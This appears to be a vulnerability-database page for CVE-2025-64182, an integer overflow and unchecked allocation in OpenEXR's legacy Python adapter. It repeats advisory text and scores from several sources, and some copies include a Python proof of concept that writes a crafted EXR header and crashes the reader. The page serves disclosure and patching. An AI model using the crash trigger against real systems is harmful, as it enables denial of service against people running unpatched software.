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CVE-2025-64182

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

5.5 MediumFix available

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.26%Up 0.2 points since Nov 11, 2025
90%50%10%1%

What each source reports

CVE List Score used 5.5

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
CVE-2025-64182
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-120
Updated
2026-11-02
EUVDEUVD-2025-50827 5.5

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
EUVD-2025-50827
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-vh63-9mqx-wmjr 5.5

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Record
GHSA-vh63-9mqx-wmjr
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-120
Updated
2026-11-02
NVD 5.5

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
CVE-2025-64182
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-120
Updated
2026-11-02
OSV 5.5

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
CVE-2025-64182
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-120
Updated
2026-11-02
OSVGHSA-vh63-9mqx-wmjr 5.5

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Record
GHSA-vh63-9mqx-wmjr
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-120
Updated
2026-11-02
Show 4 moreShow less
OSVJLSEC-2026-138 5.5

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
JLSEC-2026-138
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVPYSEC-2026-2851 5.5

OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

  • In channel():

    • Width and height are derived from the header dataWindow using int.

    • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

    • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

    • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

    • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
      On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

  • In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

Record
PYSEC-2026-2851
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2025-64182 5.5

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Record
UBUNTU-CVE-2025-64182
CVSS 4.0
5.5 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2025:15741-1 No score

libIex-3_4-33-3.4.3-1.1 on GA media

These are all security issues fixed in the libIex-3_4-33-3.4.3-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:15741-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
openexr
PyPI
3.2.0 up to 3.2.5
3.2.5
openexr
PyPI
3.3.0 up to 3.3.6
3.3.6
openexr
PyPI
3.4.0 up to 3.4.3
3.4.3
openexr
PyPI
3.2.0 up to 3.2.5, plus listed versions
3.2.33.2.4
3.2.5
openexr
PyPI
3.3.0 up to 3.3.6, plus listed versions
3.3.13.3.23.3.33.3.43.3.5
3.3.6
openexr
PyPI
3.4.0 up to 3.4.3, plus listed versions
3.4.13.4.2
3.4.3
OpenEXR_jll
Julia
3.1.4+0 up to 3.4.4+0
3.4.4+0
openexr
PyPI
3.2.0 up to 3.2.5, 3.3.0 up to 3.3.6, 3.4.0 up to 3.4.3, plus listed versions
3.2.33.2.43.3.13.3.23.3.3
Show 4 moreShow less
3.3.43.3.53.4.13.4.2
3.2.53.3.63.4.3
openexr
openSUSE:Tumbleweed
From an advisory covering 3 CVEs
before 3.4.3-1.1
3.4.3-1.1

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-64182 is a medium vulnerability (CVSS 5.5) in Academysoftwarefoundation Openexr, published November 10, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 17th percentile. Fixed in openexr 3.2.5.

References

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